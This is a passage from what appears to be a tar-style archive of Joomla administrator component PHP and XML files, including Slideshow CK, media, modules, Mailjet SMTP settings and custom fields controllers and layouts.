			$input = CKFof::getInput();
			$path = $input->get('path', '', 'string');
			$name = $input->get('name', '', 'string');

			require_once SLIDESHOWCK_PATH . '/helpers/ckbrowse.php';
			if ($result = CKBrowse::createFolder($path, $name)) {
				$msg = CKText::_('CK_FOLDER_CREATED_SUCCESS');
			} else {
				$msg = CKText::_('CK_FOLDER_CREATED_ERROR');
			}

			echo '{"status" : "' . ($result == false ? '0' : '1') . '", "message" : "' . $msg . '"}';
		} else {
			echo '{"status" : "2", "message" : "' . CKText::_('CK_ERROR_USER_NO_AUTH') . '"}';
		}
		exit;
	}

	/**
	 * Get the file and store it on the server
	 * 
	 * @return mixed, the method return
	 */
	public function ajaxAddPicture() {
		require_once SLIDESHOWCK_PATH . '/helpers/ckbrowse.php';
		CKBrowse::ajaxAddPicture();
	}

	/**
	 * Ajax method to clean the name of the google font
	 */
	public function cleanGfontName() {
		$input = new \Joomla\CMS\Input\Input();
		$gfont = $input->get('gfont', '', 'string');

		// <link href='http://fonts.googleapis.com/css?family=Open+Sans+Condensed:300' rel='stylesheet' type='text/css'>
		// Open+Sans+Condensed:300
		// Open Sans
		if ( preg_match( '/family=(.*?) /', $gfont . ' ', $matches) ) {
			if ( isset($matches[1]) ) {
				$gfont = $matches[1];
			}
		}

		$gfont = str_replace(' ', '+', ucwords (trim($gfont)));
		echo trim(trim($gfont, "'"));
		die;
	}
}
com_slideshowck/slideshowck.php000060400000003540152453734450012763 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */


// no direct access
defined('_JEXEC') or die;
if (! defined('CK_LOADED')) define('CK_LOADED', 1);

// use Slideshowck\CKFof;

include_once JPATH_ADMINISTRATOR . '/components/com_slideshowck/helpers/defines.php';

// Access check.
if (!\Joomla\CMS\Factory::getUser()->authorise('core.edit', 'com_slideshowck')) {
	return JError::raiseWarning(404, \Joomla\CMS\Language\Text::_('JERROR_ALERTNOAUTHOR'));
}

// loads the language files from the frontend
$lang	= \Joomla\CMS\Factory::getLanguage();
$lang->load('com_slideshowck', JPATH_SITE . '/components/com_slideshowck', $lang->getTag(), false);
$lang->load('com_slideshowck', JPATH_SITE, $lang->getTag(), false);

// loads the helper in any case
require_once SLIDESHOWCK_PATH . '/helpers/cktext.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckpath.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckfile.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckfolder.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckuri.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckfof.php';
require_once SLIDESHOWCK_PATH . '/helpers/helper.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckframework.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckcontroller.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckmodel.php';
require_once SLIDESHOWCK_PATH . '/helpers/ckview.php';

\Slideshowck\CKFramework::load();

// Include dependancies
require_once SLIDESHOWCK_PATH . '/controller.php';

$controller	= \Slideshowck\CKController::getInstance('Slideshowck');
$controller->execute(\Joomla\CMS\Factory::getApplication()->input->get('task'));
//$controller->redirect();
com_media/media.php000060400000003240152453734450010260 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input  = JFactory::getApplication()->input;
$user   = JFactory::getUser();
$asset  = $input->get('asset');
$author = $input->get('author');

// Access check.
if (!$user->authorise('core.manage', 'com_media') && (!$asset || (!$user->authorise('core.edit', $asset)
	&& !$user->authorise('core.create', $asset)
	&& count($user->getAuthorisedCategories($asset, 'core.create')) == 0)
	&& !($user->id == $author && $user->authorise('core.edit.own', $asset))))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$params = JComponentHelper::getParams('com_media');

// Load the helper class
JLoader::register('MediaHelper', JPATH_ADMINISTRATOR . '/components/com_media/helpers/media.php');

// Set the path definitions
$popup_upload = $input->get('pop_up', null);
$path         = 'file_path';
$view         = $input->get('view');

if (substr(strtolower($view), 0, 6) == 'images' || $popup_upload == 1)
{
	$path = 'image_path';
}

$mediaBaseDir = JPATH_ROOT . '/' . $params->get($path, 'images');

if (!is_dir($mediaBaseDir))
{
	throw new \InvalidArgumentException(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 500);
}

define('COM_MEDIA_BASE', $mediaBaseDir);
define('COM_MEDIA_BASEURL', JUri::root() . $params->get($path, 'images'));

$controller = JControllerLegacy::getInstance('Media', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute($input->get('task'));
$controller->redirect();
com_contenthistory/contenthistory.php000060400000001171152453734450014313 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Disallow unauthenticated users
if (JFactory::getUser()->guest)
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_modules/controller.php000060400000006706152453734450011767 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Modules manager master display controller.
 *
 * @since  1.6
 */
class ModulesController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean        $cachable   If true, the view output will be cached
	 * @param   array|boolean  $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}
	 *
	 * @return  JController    This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		$id     = $this->input->getInt('id');

		$document = JFactory::getDocument();

		// For JSON requests
		if ($document->getType() == 'json')
		{
			$view = new ModulesViewModule;

			// Get/Create the model
			if ($model = new ModulesModelModule)
			{
				// Checkin table entry
				if (!$model->checkout($id))
				{
					JFactory::getApplication()->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH'), 'error');

					return false;
				}

				// Push the model into the view (as default)
				$view->setModel($model, true);
			}

			$view->document = $document;

			return $view->display();
		}

		JLoader::register('ModulesHelper', JPATH_ADMINISTRATOR . '/components/com_modules/helpers/modules.php');

		$layout = $this->input->get('layout', 'edit');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($layout == 'edit' && !$this->checkEditId('com_modules.edit.module', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_modules&view=modules', false));

			return false;
		}

		// Load the submenu.
		ModulesHelper::addSubmenu($this->input->get('view', 'modules'));

		// Check custom administrator menu modules
		if (JModuleHelper::isAdminMultilang())
		{
			$languages = JLanguageHelper::getInstalledLanguages(1, true);
			$langCodes = array();

			foreach ($languages as $language)
			{
				if (isset($language->metadata['nativeName']))
				{
					$languageName = $language->metadata['nativeName'];
				}
				else
				{
					$languageName = $language->metadata['name'];
				}

				$langCodes[$language->metadata['tag']] = $languageName;
			}

			$db    = JFactory::getDbo();
			$query = $db->getQuery(true);

			$query->select($db->qn('m.language'))
				->from($db->qn('#__modules', 'm'))
				->where($db->qn('m.module') . ' = ' . $db->quote('mod_menu'))
				->where($db->qn('m.published') . ' = 1')
				->where($db->qn('m.client_id') . ' = 1')
				->group($db->qn('m.language'));

			$mLanguages = $db->setQuery($query)->loadColumn();

			// Check if we have a mod_menu module set to All languages or a mod_menu module for each admin language.
			if (!in_array('*', $mLanguages) && count($langMissing = array_diff(array_keys($langCodes), $mLanguages)))
			{
				$app         = JFactory::getApplication();
				$langMissing = array_intersect_key($langCodes, array_flip($langMissing));

				$app->enqueueMessage(JText::sprintf('JMENU_MULTILANG_WARNING_MISSING_MODULES', implode(', ', $langMissing)), 'warning');
			}
		}

		return parent::display();
	}
}
com_modules/modules.php000060400000001340152453734450011241 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

$user  = JFactory::getUser();
$input = JFactory::getApplication()->input;

if (($input->get('layout') !== 'modal' && $input->get('view') !== 'modules')
	&& !$user->authorise('core.manage', 'com_modules'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Modules');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_modules/models/forms/filter_modules.xml000060400000007374152453734450015245 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_modules/models/fields" />

	<field
		name="client_id"
		type="list"
		label=""
		filtermode="selector"
		layout="default"
		onchange="jQuery('#filter_position, #filter_module, #filter_language, #filter_menuitem').val('');this.form.submit();"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_MODULES_MODULES_FILTER_SEARCH_LABEL"
			description="COM_MODULES_MODULES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			noresults="COM_MODULES_MSG_MANAGE_NO_MODULES"
		/>
		<field
			name="state"
			type="status"
			label="JSTATUS"
			filter="*,-2,0,1"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="position"
			type="modulesposition"
			label="COM_MODULES_FIELD_POSITION_LABEL"
			onchange="this.form.submit();"
			>
			<option value="">COM_MODULES_OPTION_SELECT_POSITION</option>
		</field>
		<field
			name="module"
			type="ModulesModule"
			label="COM_MODULES_OPTION_SELECT_MODULE"
			onchange="this.form.submit();"
			>
			<option value="">COM_MODULES_OPTION_SELECT_MODULE</option>
		</field>
		<field
			name="menuitem"
			type="menuitem"
			label="COM_MODULES_OPTION_SELECT_MENU_ITEM"
			disable="separator,alias,heading,url"
			onchange="this.form.submit();"
			>
			<option	value="">COM_MODULES_OPTION_SELECT_MENU_ITEM</option>
			<option	value="-1">COM_MODULES_NONE</option>
		</field>
		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,-2"
			onchange="this.form.submit();"
			default="a.position ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.position ASC">COM_MODULES_HEADING_POSITION_ASC</option>
			<option value="a.position DESC">COM_MODULES_HEADING_POSITION_DESC</option>
			<option value="name ASC">COM_MODULES_HEADING_MODULE_ASC</option>
			<option value="name DESC">COM_MODULES_HEADING_MODULE_DESC</option>
			<option value="pages ASC">COM_MODULES_HEADING_PAGES_ASC</option>
			<option value="pages DESC">COM_MODULES_HEADING_PAGES_DESC</option>
			<option value="ag.title ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="ag.title DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="l.title ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="l.title DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="COM_MODULES_LIST_LIMIT"
			description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_mailjet/views/mailjet/view.json.php000060400000001474152453734450014262 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
error_reporting(E_ALL & ~E_NOTICE);
// no direct access
defined( '_JEXEC' ) or die ( 'Restricted access' );

jimport('joomla.application.component.view');

if (!function_exists('class_alias')) { // For php older then 5.3
  function class_alias($orig, $alias) {
    eval('abstract class ' . $alias . ' extends ' . $orig . ' {}');
  }
}

if (!class_exists('JViewLegacy')) {
  class_alias('JView','JViewLegacy');
}

class MailjetViewMailjet extends JViewLegacy {

    function display($tpl = null) {
        global $result;
        $document = JFactory::getDocument();
        $document->setMimeEncoding('application/json');

        echo json_encode($result);
    }

}
com_mailjet/mailjet.php000060400000003146152453734450011201 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

if (!function_exists('class_alias')) { // For php older then 5.3
  function class_alias($orig, $alias) {
    eval('abstract class ' . $alias . ' extends ' . $orig . ' {}');
  }
}

error_reporting(E_ALL ^ E_STRICT);

if (!class_exists('JControllerLegacy')) {
  class_alias('JController','JControllerLegacy');
}

$document = JFactory::getDocument();
$document->addStyleDeclaration('.icon-48-logo {background-image: url('.sprintf('%s/components/%s/images/%s', '../administrator', 'com_mailjet', 'logo-48x48.png').');}');
$document->addStyleDeclaration('.icon-48-campaigns {background-image: url('.sprintf('%s/components/%s/images/%s', '../administrator', 'com_mailjet', 'campaigns-48x48.png').');}');
$document->addStyleDeclaration('.icon-48-stats {background-image: url('.sprintf('%s/components/%s/images/%s', '../administrator', 'com_mailjet', 'stats-48x48.png').');}');
$document->addStyleDeclaration('.icon-48-contacts {background-image: url('.sprintf('%s/components/%s/images/%s', '../administrator', 'com_mailjet', 'contacts-48x48.png').');}');


// import joomla controller library
jimport('joomla.application.component.controller');

// Get an instance of the controller prefixed by HelloWorld
$controller = JControllerLegacy::getInstance('Mailjet');

// Perform the Request task
$controller->execute(JRequest::getCmd('task'));

// Redirect if set by the controller
$controller->redirect();
com_mailjet/models/mailjet.php000060400000006641152453734450012467 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.application.component.model' );

if (!function_exists('class_alias')) { // For php older then 5.3
  function class_alias($orig, $alias) {
    eval('abstract class ' . $alias . ' extends ' . $orig . ' {}');
  }
}

if (!class_exists('JModelLegacy')) {
  class_alias('JModel','JModelLegacy');
}

class MailjetModelMailjet extends JModelLegacy
{
    public function getAsPost ()
    {
        $post = JRequest::get ('post');

        $data ['enable'] = isSet ($post ['enable']);
        $data ['test'] = isSet ($post ['test']);
        $data ['test_address'] = $post ['test_address'];
        $data ['username'] = $post ['username'];
        $data ['password'] = $post ['password'];
        $data ['api_token'] = serialize(false);

        return $data;
    }

    public function getAsRecord ()
    {
        $mailjetConfig = sPrintF ('%s/config.php', JPATH_COMPONENT);

        require_once ($mailjetConfig);

        $conf = new JMailjetConfig ();

        $host = $conf->host;

        $prev = new JConfig();
        $prev = JArrayHelper::fromObject($prev);

        $fields ['bak_mailer'] = $prev ['mailer'];
        $fields ['bak_smtpauth'] = $prev ['smtpauth'];
        $fields ['bak_smtpuser'] = $prev ['smtpuser'];
        $fields ['bak_smtppass'] = $prev ['smtppass'];
        $fields ['bak_smtphost'] = $prev ['smtphost'];
        $fields ['bak_smtpsecure'] = $prev ['smtpsecure'];
        $fields ['bak_smtpport'] = $prev ['smtpport'];

        $data ['enable'] = $conf->enable && 'smtp' == $prev ['mailer'] && $conf->host == $prev ['smtphost'];
        $data ['test'] = $conf->test;
        $data ['test_address'] = $conf->test_address;
        $data ['username'] = $conf->username;
        $data ['password'] = $conf->password;
        $data ['host'] = $host;
        if(isset($data['api_token']) && $data['api_token']) {
            $data['api_token'] = unserialize($conf->api_token);
        }

        return $data;
    }

    public function saveRecord($key, $value)
    {
        jimport ('joomla.filesystem.path');
        jimport ('joomla.filesystem.file');
        $mailjetConfig = sPrintF ('%s/components/%s/config.php', JPATH_ADMINISTRATOR, 'com_mailjet');
        require_once ($mailjetConfig);
        $config = new JRegistry ('config');
        $config->loadArray ($this->getAsRecord());
        $jversion = new JVersion();
        if (version_compare($jversion->getShortVersion(), '2.5.6', 'lt')) {
            $config->setValue($key, $value);
        } else {
            $config->set($key, $value);
        }
        $configString = $config->toString ('PHP', array ('class' => 'JMailjetConfig', 'closingtag' => false));

        if (! JFile::write ($mailjetConfig, $configString))
        {
            JError::raiseWarning (0, JText::_ ('Unable to write configuration file for Mailjet\'s settings.'));
        }

        $mailjetData = sPrintF ('%s/components/%s/lib/db/data', JPATH_ADMINISTRATOR, 'com_mailjet');
        $JSONString = '{"apiKey":"'.$post ['username'].'","apiSecret":"'.$post ['password'].'","token":null}';
        if (! JFile::write ($mailjetData, $JSONString))
        {
            JError::raiseWarning (0, JText::_ ('Unable to write data file for Mailjet\'s settings.'));
        }
    }
}
com_mailjet/controller.php000060400000020737152453734450011744 0ustar00<?php
/**
 * @author Mailjet SAS
 *
 * @copyright  Copyright (C) 2014 Mailjet SAS.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
ini_set('display_errors', 0);

// import Joomla controller library
jimport('joomla.application.component.controller');

if (!function_exists('class_alias')) { // For php older then 5.3
  function class_alias($orig, $alias) {
    eval('abstract class ' . $alias . ' extends ' . $orig . ' {}');
  }
}

if (!class_exists('JControllerLegacy')) {
  class_alias('JController','JControllerLegacy');
}

/**
 * General Controller of HelloWorld component
 */
class MailjetController extends JControllerLegacy
{
    /**
     * display task
     *
     * @return void
     */
    function display($cachable = false, $urlparams = false)
    {
        require_once JPATH_COMPONENT.'/helpers/mailjet.php';

        // set default view if not set
        JRequest::setVar('view', JRequest::getCmd('view', 'mailjet'));

        $view   = $this->input->get('view', 'messages');
        $layout = $this->input->get('layout', 'default');
        $id     = $this->input->getInt('id');

        MailjetHelper::addSubmenu($this->input->get('view', 'mailjet'));
        // call parent behavior
        parent::display($cachable);
    }



    function save ()
    {		
        JRequest::checkToken () or jexit ('Invalid Token');

        $error = FALSE;
        $mailjetConfig = sPrintF ('%s/components/%s/config.php', JPATH_ADMINISTRATOR, 'com_mailjet');
        $fileConfig = JPATH_ROOT.'/configuration.php';

        require_once ($mailjetConfig);

        $conf = new JMailjetConfig ();

        $host = $conf->host;

        $prev = new JConfig();
        $prev = JArrayHelper::fromObject($prev);

        $fields ['bak_mailer'] = $prev ['mailer'];
        $fields ['bak_smtpauth'] = $prev ['smtpauth'];
        $fields ['bak_smtpuser'] = $prev ['smtpuser'];
        $fields ['bak_smtppass'] = $prev ['smtppass'];
        $fields ['bak_smtphost'] = $prev ['smtphost'];
        $fields ['bak_smtpsecure'] = $prev ['smtpsecure'];
        $fields ['bak_smtpport'] = $prev ['smtpport'];

        $data = JRequest::get ('post');

        $fields ['enable'] = isSet ($data ['enable']);
        $fields ['test'] = isSet ($data ['test']);
        $fields ['test_address'] = $data ['test_address'];
        $fields ['username'] = $data ['username'];
        $fields ['password'] = $data ['password'];
        $fields ['host'] = $host;

        $configs = array (array ('ssl://', 465),
            array ('tls://', 587),
            array ('', 587),
            array ('', 588),
            array ('tls://', 25),
            array ('', 25),
            array ('', 80));

        $connected = FALSE;

        for ($i = 0; $i < count ($configs); ++$i)
        {
            $soc = @ fSockOpen ($configs [$i] [0].$host, $configs [$i] [1], $errno, $errstr, 5);

            if ($soc)
            {
                fClose ($soc);

                $connected = TRUE;

                break;
            }
        }

        if ($connected)
        {
            if ('ssl://' == $configs [$i] [0])
            {
                $fields ['secure'] = 'ssl';
            }
            elseif ('tls://' == $configs [$i] [0])
            {
                $fields ['secure'] = 'tls';
            }
            else
            {
                $fields ['secure'] = 'none';
            }

            $fields ['port'] = $configs [$i] [1];
        }
        else
        {
            JError::raiseWarning (0, sPrintF (JText::_('COM_MAILJET_CONTACT_SUPPORT_ERROR'), $errno, $errstr));
        }

        jimport ('joomla.mail.helper');

        if ($fields ['test'] && (empty ($fields ['test_address']) || ! JMailHelper::isEmailAddress ($fields ['test_address'])))
        {
            JError::raiseWarning (0, JText::_('COM_MAILJET_RECIPIENT_INVALID', $fields ['test_address']));

            $error = TRUE;
        }

        if (empty ($fields ['username']) || empty ($fields ['password']))
        {
            JError::raiseWarning (0, JText::_('COM_MAILJET_SETTINGS_MANDATORY'));

            $error = TRUE;
        }

        if (! $error)
        {
            jimport ('joomla.filesystem.path');
            jimport ('joomla.filesystem.file');

            $config = new JRegistry ('config');
            $config->loadArray ($fields);

            $configString = $config->toString ('PHP', array ('class' => 'JMailjetConfig', 'closingtag' => false));

            if (! JFile::write ($mailjetConfig, $configString))
            {
                JError::raiseWarning (0, JText::_ ('COM_MAILJET_CONFIG_FILE_UNWRITABLE'));
            }

            $mailjetData = sPrintF ('%s/components/%s/lib/db/data', JPATH_ADMINISTRATOR, 'com_mailjet');
            $JSONString = json_encode(array(
                'apiKey' => $fields['username'],
                'apiSecret' => $fields['password'],
                'token' => null,
                'test_address' => $fields['test_address'],
                'enable' => $fields['enable'],
            ));
            if (! JFile::write ($mailjetData, $JSONString))
            {
                JError::raiseWarning (0, JText::_ ('Unable to write data file for Mailjet\'s settings.'));
            }

            if ($fields ['enable'])
            {
                $prev ['mailer'] = 'smtp';
                $prev ['smtpauth'] = '1';
                $prev ['smtpuser'] = $fields ['username'];
                $prev ['smtppass'] = $fields ['password'];
                $prev ['smtphost'] = $fields ['host'];
                $prev ['smtpsecure'] = $fields ['secure'];
                $prev ['smtpport'] = $fields ['port'];
            }
            else
            {
                $prev ['mailer'] = $fields ['bak_mailer'];
                $prev ['smtpauth'] = $fields ['bak_smtpauth'];
                $prev ['smtpuser'] = $fields ['bak_smtpuser'];
                $prev ['smtppass'] = $fields ['bak_smtppass'];
                $prev ['smtphost'] = $fields ['bak_smtphost'];
                $prev ['smtpsecure'] = $fields ['bak_smtpsecure'];
                $prev ['smtpport'] = $fields ['bak_smtpport'];
            }

            $config = new JRegistry ('config');

            $config->loadArray ($prev);

            if (!JPath::setPermissions ($fileConfig, '0644'))
            {
                JError::raiseNotice ('SOME_ERROR_CODE', JText::_ ('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE'));
            }

            $configString = $config->toString('PHP', array ('class' => 'JConfig', 'closingtag' => false));
            if (!JFile::write($fileConfig, $configString))
            {
                JError::raiseWarning (0, JText::_ ('COM_CONFIG_ERROR_WRITE_FAILED'));
            }

            if (!JPath::setPermissions($fileConfig, '0444'))
            {
                JError::raiseNotice ('SOME_ERROR_CODE', JText::_ ('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE'));
            }

            // Extablish API connection because we will need it to check if the API Key and Secrect Key are correct
            require_once(dirname(__FILE__).'/lib/lib/mailjet-api-strategy.php');
            $api = new Mailjet_Api($fields['username'], $fields['password']);
            if($api->apiUrl === null){
                JError::raiseWarning (0, JText::_ ('COM_MAILJET_API_KEY_ERROR'));
            }

            if ($fields ['test'])
            {
	        $jversion = new JVersion();
	        if (version_compare($jversion->getShortVersion(), '2.5.6', 'lt')) {
                  if (JUtility::sendMail ($prev ['mailfrom'], $prev ['fromname'], $fields ['test_address'], JText::_ ('Your test mail from Mailjet and Joomla'), JText::_ ('COM_MAILJET_CONFIG_OK')) !== TRUE)
                  {
                    JError::raiseNotice (500, JText:: _ ('COM_MAILJET_TEST_EMAIL_NOT_SENT'));
                  }
                } else {
                  $mail = JMail::getInstance();
                  $mail->useSMTP(true, $prev ['smtphost'], $prev ['smtpuser'], $prev ['smtppass'], 'tls', 587);
                  if ($mail->sendMail ($prev ['mailfrom'], $prev ['fromname'], $fields ['test_address'], JText::_ ('Your test mail from Mailjet and Joomla'), JText::_ ('COM_MAILJET_CONFIG_OK')) !== TRUE)
                  {
                    JError::raiseNotice (500, JText:: _ ('COM_MAILJET_TEST_EMAIL_NOT_SENT'));
                  }
                }
            }
            JFactory::getApplication()->enqueueMessage(JText:: _ ('COM_MAILJET_SETTINGS_SAVED'));
        }
        $this->display();
    }

}
com_fields/layouts/fields/render.php000060400000003040152453734450013613 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

// Check if we have all the data
if (!key_exists('item', $displayData) || !key_exists('context', $displayData))
{
	return;
}

// Setting up for display
$item = $displayData['item'];

if (!$item)
{
	return;
}

$context = $displayData['context'];

if (!$context)
{
	return;
}

JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

$parts     = explode('.', $context);
$component = $parts[0];
$fields    = null;

if (key_exists('fields', $displayData))
{
	$fields = $displayData['fields'];
}
else
{
	$fields = $item->jcfields ?: FieldsHelper::getFields($context, $item, true);
}

if (empty($fields))
{
	return;
}

$output = array();

foreach ($fields as $field)
{
	// If the value is empty do nothing
	if (!isset($field->value) || trim($field->value) === '')
	{
		continue;
	}

	$class = $field->name . ' ' . $field->params->get('render_class');
	$layout = $field->params->get('layout', 'render');
	$content = FieldsHelper::render($context, 'field.' . $layout, array('field' => $field));

	// If the content is empty do nothing
	if (trim($content) === '') 
	{
		continue;
	}

	$output[] = '<dd class="field-entry ' . $class . '">' . $content . '</dd>';
}

if (empty($output))
{
	return;
}

?>
<dl class="fields-container">
	<?php echo implode("\n", $output); ?>
</dl>
com_fields/layouts/field/render.php000060400000001532152453734450013434 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

if (!key_exists('field', $displayData))
{
	return;
}

$field = $displayData['field'];
$label = JText::_($field->label);
$value = $field->value;
$showLabel = $field->params->get('showlabel');
$labelClass = $field->params->get('label_render_class');
$valueClass = $field->params->get('value_render_class');

if ($value == '')
{
	return;
}

?>
<?php if ($showLabel == 1) : ?>
	<span class="field-label <?php echo $labelClass; ?>"><?php echo htmlentities($label, ENT_QUOTES | ENT_IGNORE, 'UTF-8'); ?>: </span>
<?php endif; ?>
<span class="field-value <?php echo $valueClass; ?>"><?php echo $value; ?></span>
com_fields/controller.php000060400000003314152453734450011555 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Fields Controller
 *
 * @since  3.7.0
 */
class FieldsController extends JControllerLegacy
{
	/**
	 * The default view.
	 *
	 * @var    string
	 *
	 * @since   3.7.0
	 */
	protected $default_view = 'fields';

	/**
	 * Typical view method for MVC based architecture
	 *
	 * This function is provide as a default implementation, in most cases
	 * you will need to override it in your own controllers.
	 *
	 * @param   boolean     $cachable   If true, the view output will be cached
	 * @param   array|bool  $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}
	 *
	 * @return JControllerLegacy|boolean  A JControllerLegacy object to support chaining.
	 *
	 * @since   3.7.0
	 */
	public function display($cachable = false, $urlparams = false)
	{
		// Set the default view name and format from the Request.
		$vName   = $this->input->get('view', 'fields');
		$id      = $this->input->getInt('id');

		// Check for edit form.
		if ($vName == 'field' && !$this->checkEditId('com_fields.edit.field', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_fields&view=fields&context=' . $this->input->get('context'), false));

			return false;
		}

		return parent::display($cachable, $urlparams);
	}
}
com_fields/models/forms/filter_fields.xml000060400000005365152453734450014637 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="group">
		<field
			name="context"
			type="fieldcontexts"
			onchange="this.form.submit();"
		/>
	</fieldset>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label=""
